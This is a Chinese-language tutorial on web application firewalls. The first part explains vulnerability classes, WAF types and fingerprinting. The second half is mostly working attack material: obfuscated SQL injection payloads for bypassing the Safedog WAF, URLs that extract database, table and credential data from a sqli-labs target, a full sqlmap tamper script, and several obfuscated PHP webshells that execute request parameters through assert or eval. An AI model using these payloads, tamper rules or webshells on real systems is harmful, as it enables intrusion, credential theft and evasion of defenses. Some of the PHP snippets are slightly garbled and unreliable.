Web 应用会面临很多安全风险,大部分风险是由Web漏洞的产生而引起的,常见Web安全漏洞:
SQL 注⼊XSS CSRF
文件系统漏洞:任意文件上传,任意文件读取,任意文件包含,任意文件删除…目录遍历
目录浏览
RCE
反序列化漏洞
逻辑类漏洞:失效的访问控制(越权)…
SSRF
组件安全:Apache,IIS,Nginx…
针对Web 安全的防护,需要使用一款安全产品,Web 应用安全防火墙(Web Application Firewall,WAF)。
WAF(Web Application Firewall)的中⽂名称叫做“Web 应⽤防⽕墙”,利⽤国际上公认的一种说法,WAF 的定义是这样的:Web 应⽤防⽕墙是通过执⾏一系列针对HTTP| HTTPS 的安全策略来专⻔为Web 应⽤提供保护的一款产品。通过从上⾯对WAF 的定义中,我们可以很清晰的了解到,WAF 是一种⼯作在应⽤层的、通过特定的安全策略来专⻔为Web 应⽤提供安全防护的产品。
看图识WAF-搜集常见WAF拦截页面。
根据不同的分类方法,WAF 可以有多种分类。
产品形态 | 说明 | 典型产品 |
---|---|---|
软WAF | 以软件形式装在所保护的服务器上的WAF,由于安装在服务器上,所以可以接触到服务器上的文件,直接检测服务器上是否存在WebShell、是否有文件被创建等。 | 安全狗 云锁 D 盾 |
硬WAF | 以硬件形式部署在链路中,支持多种部署方式,当串联到链路中时可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截。 | 云锁 D 盾 雷池 |
云WAF | 一般以反向代理的形式工作,通过配置NS记录或CNAME记录,使对网站的请求报文优先经过WAF主机,经过WAF主机过滤后,将认为无害的请求报文再发送给实际网站服务器进行请求,可以说是带防护功能的CDN。 | 阿⾥云云盾 腾讯云WAF 安恒⽞武盾 |
内置WAF | 网站系统内置的WAF也可以说是网站系统中内置的过滤,直接镶嵌在代码中,相对来说自由度高,一般有以下这几种情况。 ● 输入参数强制类型转换(intval等)。 ● 输入参数合法性检测。 ● 关键函数执行(SQL执行、页面显示、命令执行等)前,对经过代码流程的输入进行检测。 ● 对输入的数据进行替换过滤后再继续执行代码流程(转义/替换掉特殊字符等)。 网站系统内置的WAF与业务更加契合,在对安全与业务都比较了解的情况下,可以更少地收到误报与漏报。 |
WAF(Web应用防火墙)。
WAF 的处理流程⼤致可分为四部分:预处理、规则检测、处理模块、日志记录。
处理流程 | 说明 |
---|---|
预处理 | 预处理阶段首先在接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单之内的对数据包解析后进入到规则检测部分。 |
规则检测 | 每一种WAF产品都有自己独特的检测规则体系,解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻击行为。 |
处理模块 | 针对不同的检测结果,处理模块会做出不同的安全防御动作,如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、告警处理。 |
⽇志记录 | WAF在处理的过程中也会将拦截处理的日志记录下来,方便用户在后续中可以进行日志查看分析。 |
WAF 指纹探测。
“指纹”就是特定特征的字符串或⾏为。
指纹特征 | 字段 |
---|---|
响应状态码 | ‘405 method not allow’ |
HTTP 响应报⽂头部字段 | Server Cookie X-Powered-By 特殊字段 |
响应正⽂特征 | ‘errors.aliyun.com’ ‘waf.tencent-cloud.com’ |
⾏为 | 阻⽌响应⻚⾯ |
wafw00f
identYwaf
WAF机制及绕过方法总结:注入篇。
架构层面
系统层面
组件层面:HPP…
代码层面:变形、混淆…
WAF层面
字符 | 绕过方法 |
---|---|
and | /*!14400and*/ |
order by | /**/order/*/%0a*a*/by/**/ |
union select | union/*!88888cas*/%a0/*/*!=*/select/**/ |
database() | database(/*!/*/**%0fAJEST*/*/) |
from information_schema.tables | /*!from--%0f/*%0ainformation_schema.tables*/ |
from information_schema.columns | /*!from--%0f/*%0ainformation_schema.columns*/ |
count(*) | count(1) |
以 sqli-labs/Less-1/
为例:
在请求路径中添加脏数据进行绕过。
但是由于数据过大,导致URL超过了服务器的限制。
?id=1'/*!14400and*/ 1=1 --+
判断字段个数
?id=1'/**/order/*/%0a*a*/by/**/ 3 --+
判断回显
?id=1'union/*!88888cas*/%a0/*/*!=*/select/**/ 1,2,3 --+
获取数据库名
?id=1'/*!14400and*/ 1=2 union/*!88888cas*/%a0/*/*!=*/select/**/ 1,2,database(/*!/*/**%0fwuhu*/*/) --+
获取表名
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(table_name) /*!from--
%0f/*%0ainformation_schema.tables*/ where table_schema=database(/*!/*/**%0f*/*/) --+
获取表中字段
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,group_concat(column_name) /*!from--
%0f/*%0ainformation_schema.columns*/ where table_schema=database(/*!/*/**%0f*/*/) /*!14400and*/
table_name='users'--+
获取用户名个数
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,count(*) /*!from--%0f/*%0ausers*/--+
获取用户名和密码
?id=2' /*!14400and*/ 1=2 union/*!88888cas*//*/%0a*a*/select/**/ 1,2,concat(username,0x3a,password) /*!from--
%0f/*%0ausers*/ limit 1,1--+
safedog_bypass.py
#!/usr/bin/env python
"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
"""
and
/*!-*/-/*and*/
order by
/**/order/*/%0a*a*/by/**/
union all select
/*!union/*/*!%0b-/*!88888cas*/select*/
from information_schema.tables
/*!from--%0f/*%0ainformation_schema.tables*/
from information_schema.SCHEMATA
/*!from--%0f/*%0ainformation_schema.SCHEMATA*/
from information_schema.columns
/*!from--%0f/*%0ainformation_schema.columns*/
[ as]
/*!14400as*/
char
/*!14400char*/
database\(\)
database(/*!/*/**WUHU%0f*/*/)
# --
"""
payload = re.sub(r'(?i)and', "/*!-*/-/*and*/", payload)
payload = re.sub(r'(?i)order by', "/**/order/*/%0a*a*/by/**/", payload)
payload = re.sub(r'(?i)union all select', "/*!union/*/*!%0b-/*!88888cas*/select*/", payload)
payload = re.sub(r'(?i)from information_schema.tables', "/*!from--%0f/*%0ainformation_schema.tables*/", payload)
payload = re.sub(r'(?i)from information_schema.columns', "/*!from--%0f/*%0ainformation_schema.columns*/", payload)
payload = re.sub(r'(?i)from information_schema.SCHEMATA', "/*!from--%0f/*%0ainformation_schema.SCHEMATA*/", payload)
payload = re.sub(r"(?i) as"," /*!14400as*/",payload)
payload = re.sub(r"(?i)char","/*!14400char*/",payload)
payload = re.sub(r"(?i)database\(\)","database(/*!/*/**WUHU%0f*/*/)",payload)
payload = re.sub(r"(?i)#","-- ",payload)
payload = re.sub(r"(?i)count\(*\)","count(1)",payload)
return payload
执行脚本
python .\sqlmap.py -u "http://192.168.188.187/sqli-labs/Less-1/?id=1" -v3 --tamper safedog_bypass --random-agent
说明:--random-agent
是在使用 sqlmap 工具时可以指定的一个选项。这个选项的作用是在发送请求时生成一个随机的 User-Agent 标头,以模拟不同的浏览器和用户代理。
python .\sqlmap.py -u "http://192.168.188.187/sqli-labs/Less-1/?id=1" -v3 --tamper safedog_bypass --random-agent --dbs
$ajest = base64_decode('绕Y过X安N全z狗Z我X最J棒0!');
$ajest($_REQUEST[777]);
?>
class Bypass{
public $name;
public $male;
function destruct ()
$a = $this->name;
$a($this->male);
}
}
unserialize($POST['777']);
//wuhu=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:20:"eval($_REQUEST["x"])";}
?>
$fruits = array("a" => "lemon", "ss" => "orange", "ssr" => "banana", "t" => "apple"); function test_alter(&$item1, $key, $prefix)
{
$item1 = "$prefix: $item1";
}
function test_print($item2, $key)
{
echo "$key. $item2
\n";
}
echo "Before ...:\n"; array_walk($fruits, 'test_print');
$a =array_keys($fruits); print_r($a);
$m =$a[0].$a[1];
$n ='er';
$q = $m.$n.'t'; //assert
$r = $_REQUEST['wuhu'];
@$q($r);
?>
$a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
$b='_'.'P'.'O'.'S'.'T';
$c=$$b;
$a($c['x']);
?>